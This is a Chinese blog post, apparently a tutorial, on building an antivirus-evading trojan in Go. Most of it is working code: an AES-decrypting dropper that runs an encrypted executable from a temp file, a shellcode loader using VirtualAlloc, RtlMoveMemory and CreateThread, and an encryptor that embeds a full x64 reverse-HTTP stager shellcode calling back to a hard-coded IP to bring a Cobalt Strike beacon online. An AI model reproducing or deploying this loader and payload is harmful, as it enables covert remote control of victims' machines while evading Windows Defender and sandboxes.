Go编写免杀木马

先看一下效果


微步云沙箱检测
在这里插入图片描述
文件目录,运行main.exe
在这里插入图片描述
cs上线
在这里插入图片描述
这里window denfender一直开启
在这里插入图片描述

思路:
分为三个文件:

  1. main.go
  2. x1.bin(加密后的exe文件)
  3. x2.bin(加密后的shellcode文件)

启动main.go -》 加载x1.bin -》加载x2.bin


代码:

package main

import (
	"fmt"
	"io/ioutil"
	"nodie/utils"
	"os"
	"os/exec"
)
func ReadOmain()(buf []byte){

	byteSlice, err := ioutil.ReadFile("./omain.exe.bin")
	if err != nil {
		fmt.Println("无法读取文件:", err)
		return
	}
	old := utils.KeyOut(string(byteSlice[:32]))
	buf,_=utils.DecryptAES(byteSlice[32:],[]byte(old))
	return
}

func main() {
	buf:=ReadOmain()
	// i := interp.New(interp.Options{})
	// _, err := i.Eval(string(buf))
	// if err != nil {
	// 	fmt.Printf("无法执行解密后的代码:%v\n", err)
	// 	return
	// }
	// 创建临时文件
	tmpFile, err := ioutil.TempFile("", "temp*.exe")  //改为go
	if err != nil {
		fmt.Printf("无法创建临时文件:%v\n", err)
		return
	}
	defer os.Remove(tmpFile.Name()) // 删除临时文件

	// 将解密后的代码写入临时文件
	if _, err := tmpFile.Write(buf); err != nil {
		fmt.Printf("无法写入临时文件:%v\n", err)
		return
	}

	// 关闭临时文件,以便后续能够执行它
	if err := tmpFile.Close(); err != nil {
		fmt.Printf("无法关闭临时文件:%v\n", err)
		return
	}

	// 执行临时文件
	// cmd := exec.Command("go", "run", tmpFile.Name())
	cmd := exec.Command(tmpFile.Name())
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	err = cmd.Run()
	if err != nil {
		fmt.Printf("无法执行临时文件:%v\n", err)
	}
}
package main

import (
	"bytes"
	"crypto/aes"
	"crypto/cipher"
	"encoding/hex"
	"errors"
	"fmt"
	"io/ioutil"
	"syscall"
	"unsafe"
)

const (
    a1     = 0x1000 // Mem_Commit
    a2     = 0x2000 // Mem_Reserve
    a3 = 0x40   // Page_Execute_ReadWrite
)

var (
    Kernel32, _ = syscall.LoadLibrary("Kernel32.dll")
    c2, _     = syscall.GetProcAddress(Kernel32, "CreateThread")
    s1, _   = syscall.GetProcAddress(Kernel32, "VirtualAlloc")
    c3, _     = syscall.GetProcAddress(Kernel32, "RtlMoveMemory")
    x1,_ = syscall.GetProcAddress(Kernel32, "WaitForSingleObject")
    c1        = syscall.SyscallN
)

func ReadBin()(buf []byte){
	byteSlice, err := ioutil.ReadFile("./output.bin")
	if err != nil {
		fmt.Println("无法读取文件:", err)
		return
	}
	old := KeyOut(string(byteSlice[:32]))
	buf,_=DecryptAES(byteSlice[32:],[]byte(old))
	return
}
func main() {

	buf:=ReadBin()
    lpMem, _, _ := c1(s1, uintptr(0), uintptr(len(buf)), a1|a2, a3)
    _, _, _ = c1(c3, lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
    hThread, _, _ := c1(c2, 0, 0, lpMem, 0, 0, 0)
    _,_,_ = c1(x1,hThread,uintptr(0xffffffff))
    _ = syscall.FreeLibrary(Kernel32)
}
func KeyOut(hexKey string) string {
	// 构造字符替换表
	replacementMap := map[rune]rune{
		'f': '0',
		'e': '1',
		'd': '2',
		'c': '3',
		'b': '4',
		'a': '5',
		'9': '6',
		'8': '7',
		'7': '8',
		'6': '9',
		'5': 'a',
		'4': 'b',
		'3': 'c',
		'2': 'd',
		'1': 'e',
		'0': 'f',
	}

	// 转换为字节数组并替换字符
	keyBytes, err := hex.DecodeString(hexKey)
	if err != nil {
		panic(err)
	}
	var buffer bytes.Buffer
	for _, b := range keyBytes {
		hexStr := hex.EncodeToString([]byte{b})
		rune1 := rune(hexStr[0])
		rune2 := rune(hexStr[1])
		if original1, ok := replacementMap[rune1]; ok {
			buffer.WriteRune(original1)
		} else {
			buffer.WriteRune(rune1)
		}
		if original2, ok := replacementMap[rune2]; ok {
			buffer.WriteRune(original2)
		} else {
			buffer.WriteRune(rune2)
		}
	}
	replacedHexKey := buffer.String()

	return replacedHexKey
}

// DecryptAES decrypts ciphertext using AES-256-CBC with the given key
func DecryptAES(ciphertext []byte, key []byte) ([]byte, error) {
	if len(ciphertext) < aes.BlockSize*2 {
		return nil, errors.New("invalid ciphertext")
	}

	// extract IV from the beginning of the ciphertext
	iv := ciphertext[:aes.BlockSize]
	ciphertext = ciphertext[aes.BlockSize:]

	// create AES cipher block
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}

	// create CBC mode decrypter
	cbc := cipher.NewCBCDecrypter(block, iv)

	// decrypt ciphertext
	decryptedPlaintext := make([]byte, len(ciphertext))
	cbc.CryptBlocks(decryptedPlaintext, ciphertext)

	// unpad plaintext by removing PKCS#7 padding
	plaintext, err := pkcs7Unpad(decryptedPlaintext, aes.BlockSize)
	if err != nil {
		return nil, err
	}

	return plaintext, nil
}

func pkcs7Unpad(data []byte, blockSize int) ([]byte, error) {
	length := len(data)
	if length == 0 {
		return nil, errors.New("empty data")
	}
	if length%blockSize != 0 {
		return nil, errors.New("invalid data length")
	}
	padding := int(data[length-1])
	if padding > blockSize || padding == 0 {
		return nil, errors.New("invalid padding")
	}
	for i := 1; i <= padding; i++ {
		if data[length-i] != byte(padding) {
			return nil, errors.New("invalid padding")
		}
	}
	return data[:length-padding], nil
}
package main

import (
	"bytes"
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/hex"
	"errors"
	"fmt"
	"io/ioutil"
)

func main(){
	test_jiami_main()
	test_jiami()
	test_jiami_main_exe()
}
func test_jiami_main_exe(){
	oldKey,newKey:=OutKey()
	fmt.Println(string(oldKey),string(newKey))
	old2 := KeyOut(string(newKey))
	fmt.Println(old2)
	filePath1 := "../omain.exe"

	byteSlice1, err := ioutil.ReadFile(filePath1)
	if err != nil {
		fmt.Println("无法读取文件:", err)
		return
	}
	newtext,_ :=EncryptAES(byteSlice1,[]byte(oldKey))
	fmt.Println(newtext)

	var outtext []byte
	outtext =append(outtext,[]byte(newKey)... )
	outtext =append(outtext,newtext... )
	err = ioutil.WriteFile("../omain.exe.bin", outtext, 0644)
	if err != nil {
		fmt.Println("无法写入文件:", err)
		return
	}

	fmt.Println("字节切片已成功写入文件.")
	filePath := "../omain.exe.bin"

	byteSlice, err := ioutil.ReadFile(filePath)
	if err != nil {
		fmt.Println("无法读取文件:", err)
		return
	}
	fmt.Printf("读取的字节切片:%#v\n", byteSlice)
	old3 := KeyOut(string(byteSlice[:32]))
	Detext,_:=DecryptAES(byteSlice[32:],[]byte(old3))
	fmt.Println(string(Detext))
}
func test_jiami_main(){
	oldKey,newKey:=OutKey()
	fmt.Println(string(oldKey),string(newKey))
	old2 := KeyOut(string(newKey))
	fmt.Println(old2)
	filePath1 := "../main/omain.go"

	byteSlice1, err := ioutil.ReadFile(filePath1)
	if err != nil {
		fmt.Println("无法读取文件:", err)
		return
	}
	newtext,_ :=EncryptAES(byteSlice1,[]byte(oldKey))
	fmt.Println(newtext)

	var outtext []byte
	outtext =append(outtext,[]byte(newKey)... )
	outtext =append(outtext,newtext... )
	err = ioutil.WriteFile("../omain.bin", outtext, 0644)
	if err != nil {
		fmt.Println("无法写入文件:", err)
		return
	}

	fmt.Println("字节切片已成功写入文件.")
	filePath := "../omain.bin"

	byteSlice, err := ioutil.ReadFile(filePath)
	if err != nil {
		fmt.Println("无法读取文件:", err)
		return
	}
	fmt.Printf("读取的字节切片:%#v\n", byteSlice)
	old3 := KeyOut(string(byteSlice[:32]))
	Detext,_:=DecryptAES(byteSlice[32:],[]byte(old3))
	fmt.Println(string(Detext))
}
func test_jiami(){

	oldKey,newKey:=OutKey()
	fmt.Println(string(oldKey),string(newKey))
	old2 := KeyOut(string(newKey))
	fmt.Println(old2)
	text := "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x50\x39\x70\x64\x00\xd9\xf4\xa5\xc5\x19\x31\x0b\x1b\xfb\xd0\x80\xb3\xbc\x6b\xf5\xb0\x22\xf5\xf3\x0f\xbb\xaf\xb5\x8a\xc8\x2e\x4e\x3c\xa1\xee\xa5\xdf\x76\xa2\x00\xb9\xd1\x96\x56\x6b\x70\x96\x68\x59\xf0\x4a\x9c\xe9\xe2\x82\x09\xe5\xaa\x21\x3d\xb5\x89\xc6\xeb\x36\x7d\x5f\x4d\x04\xc7\x99\x4d\x69\x54\xe3\xe4\x1b\x5d\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x42\x54\x52\x53\x31\x32\x35\x35\x32\x36\x29\x0d\x0a\x00\x32\xaf\x6b\x3b\xf1\x4c\x21\x51\xeb\xf3\xcf\xd9\x4f\x0e\x9b\x5e\x1c\xaf\x5d\x46\xb0\x8f\x90\xa9\xd7\xc6\xe0\x20\x0d\xbc\x31\x0a\x12\xf5\xb9\x40\xc9\x57\x3e\x36\x8e\x0a\xeb\x0c\xf8\xc5\x2c\x0f\x15\xe7\x1d\xf3\xb3\xb1\x3c\x7d\x1c\xfe\x04\x24\x9e\xb6\xce\xf3\xca\x1d\x69\xcd\xba\xab\xbe\x57\x79\x73\x8e\xae\x6f\xbb\xef\xeb\x97\x40\x6e\x80\x23\x7d\xf3\x81\x1f\x81\x2e\xec\x2c\x96\xef\xd4\x2c\xdd\x0b\x12\xb9\xee\x31\x2d\xd9\x97\x84\x39\xfc\xc1\x4f\x56\x46\xbb\xb9\x5d\x67\x35\xcd\x0e\xdb\xa5\x9b\xe9\xee\xc3\xda\x06\x26\x5e\x77\x53\xfa\x29\xc3\x7e\x6a\xf6\xae\xf6\x04\x5f\x7f\x5c\xa6\x9c\xa8\x39\x7e\x44\x2c\x79\xda\x56\x6d\x97\xc5\xe9\x12\xae\xc2\x2b\x49\xec\x8f\x07\xfb\x55\x0c\x47\x01\x94\x68\xb2\x45\x40\xc1\xb4\xb7\x43\x49\x89\x45\x27\x41\x2b\xe0\x34\x8d\x86\x69\x4b\xfd\xb1\xa4\x2d\xf8\x7c\x24\x01\xd6\xdd\x6b\x55\x79\xfb\xeb\x60\xcf\x54\x4a\x7d\xef\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x33\x31\x2e\x31\x33\x36\x00\x00\x01\x86\xa0"
	newtext,_ :=EncryptAES([]byte(text),[]byte(oldKey))
	fmt.Println(newtext)

	var outtext []byte
	outtext =append(outtext,[]byte(newKey)... )
	outtext =append(outtext,newtext... )
	err := ioutil.WriteFile("../os.bin", outtext, 0644)
	if err != nil {
		fmt.Println("无法写入文件:", err)
		return
	}

	fmt.Println("字节切片已成功写入文件.")
	filePath := "../os.bin"

	byteSlice, err := ioutil.ReadFile(filePath)
	if err != nil {
		fmt.Println("无法读取文件:", err)
		return
	}
	fmt.Printf("读取的字节切片:%#v\n", byteSlice)
	old3 := KeyOut(string(byteSlice[:32]))
	Detext,_:=DecryptAES(byteSlice[32:],[]byte(old3))
	fmt.Println(string(Detext))
}
func OutKey() (oldKey string, newKey string) {
    // 生成32字节的随机密钥
    key := make([]byte, 16)
    if _, err := rand.Read(key); err != nil {
        panic(err)
    }
    oldKey = hex.EncodeToString(key)

    // 转换为16进制字符串并替换字符
    replacementMap := map[rune]rune{
        '0': 'f',
        '1': 'e',
        '2': 'd',
        '3': 'c',
        '4': 'b',
        '5': 'a',
        '6': '9',
        '7': '8',
        '8': '7',
        '9': '6',
        'a': '5',
        'b': '4',
        'c': '3',
        'd': '2',
        'e': '1',
        'f': '0',
    }
    var buffer bytes.Buffer
    for _, r := range oldKey {
        if original, ok := replacementMap[r]; ok {
            buffer.WriteRune(original)
        } else {
            buffer.WriteRune(r)
        }
    }
    newKey = buffer.String()


    return
}

func KeyOut(hexKey string) string {
    // 构造字符替换表
    replacementMap := map[rune]rune{
        'f': '0',
        'e': '1',
        'd': '2',
        'c': '3',
        'b': '4',
        'a': '5',
        '9': '6',
        '8': '7',
        '7': '8',
        '6': '9',
        '5': 'a',
        '4': 'b',
        '3': 'c',
        '2': 'd',
        '1': 'e',
        '0': 'f',
    }

    // 转换为字节数组并替换字符
    keyBytes, err := hex.DecodeString(hexKey)
    if err != nil {
        panic(err)
    }
    var buffer bytes.Buffer
    for _, b := range keyBytes {
        hexStr := hex.EncodeToString([]byte{b})
        rune1 := rune(hexStr[0])
        rune2 := rune(hexStr[1])
        if original1, ok := replacementMap[rune1]; ok {
            buffer.WriteRune(original1)
        } else {
            buffer.WriteRune(rune1)
        }
        if original2, ok := replacementMap[rune2]; ok {
            buffer.WriteRune(original2)
        } else {
            buffer.WriteRune(rune2)
        }
    }
    replacedHexKey := buffer.String()

    return replacedHexKey
}
// EncryptAES encrypts plaintext using AES-256-CBC with the given key
func EncryptAES(plaintext []byte, key []byte) ([]byte, error) {
    // create AES cipher block
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    // pad plaintext with PKCS#7 padding
    paddedPlaintext := pkcs7Pad(plaintext, aes.BlockSize)

    // generate random IV
    iv := make([]byte, aes.BlockSize)
    if _, err := rand.Read(iv); err != nil {
        return nil, err
    }

    // create CBC mode encrypter
    cbc := cipher.NewCBCEncrypter(block, iv)

    // encrypt plaintext
    ciphertext := make([]byte, len(paddedPlaintext))
    cbc.CryptBlocks(ciphertext, paddedPlaintext)

    // append IV to the beginning of the ciphertext
    ciphertext = append(iv, ciphertext...)

    return ciphertext, nil
}

// DecryptAES decrypts ciphertext using AES-256-CBC with the given key
func DecryptAES(ciphertext []byte, key []byte) ([]byte, error) {
    if len(ciphertext) < aes.BlockSize*2 {
        return nil, errors.New("invalid ciphertext")
    }

    // extract IV from the beginning of the ciphertext
    iv := ciphertext[:aes.BlockSize]
    ciphertext = ciphertext[aes.BlockSize:]

    // create AES cipher block
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    // create CBC mode decrypter
    cbc := cipher.NewCBCDecrypter(block, iv)

    // decrypt ciphertext
    decryptedPlaintext := make([]byte, len(ciphertext))
    cbc.CryptBlocks(decryptedPlaintext, ciphertext)

    // unpad plaintext by removing PKCS#7 padding
    plaintext, err := pkcs7Unpad(decryptedPlaintext, aes.BlockSize)
    if err != nil {
        return nil, err
    }

    return plaintext, nil
}

func pkcs7Pad(data []byte, blockSize int) []byte {
    padding := blockSize - len(data)%blockSize
    padText := bytes.Repeat([]byte{byte(padding)}, padding)
    return append(data, padText...)
}

func pkcs7Unpad(data []byte, blockSize int) ([]byte, error) {
    length := len(data)
    if length == 0 {
        return nil, errors.New("empty data")
    }
    if length%blockSize != 0 {
        return nil, errors.New("invalid data length")
    }
    padding := int(data[length-1])
    if padding > blockSize || padding == 0 {
        return nil, errors.New("invalid padding")
    }
    for i := 1; i <= padding; i++ {
        if data[length-i] != byte(padding) {
            return nil, errors.New("invalid padding")
        }
    }
    return data[:length-padding], nil
}
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我重来不说话

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值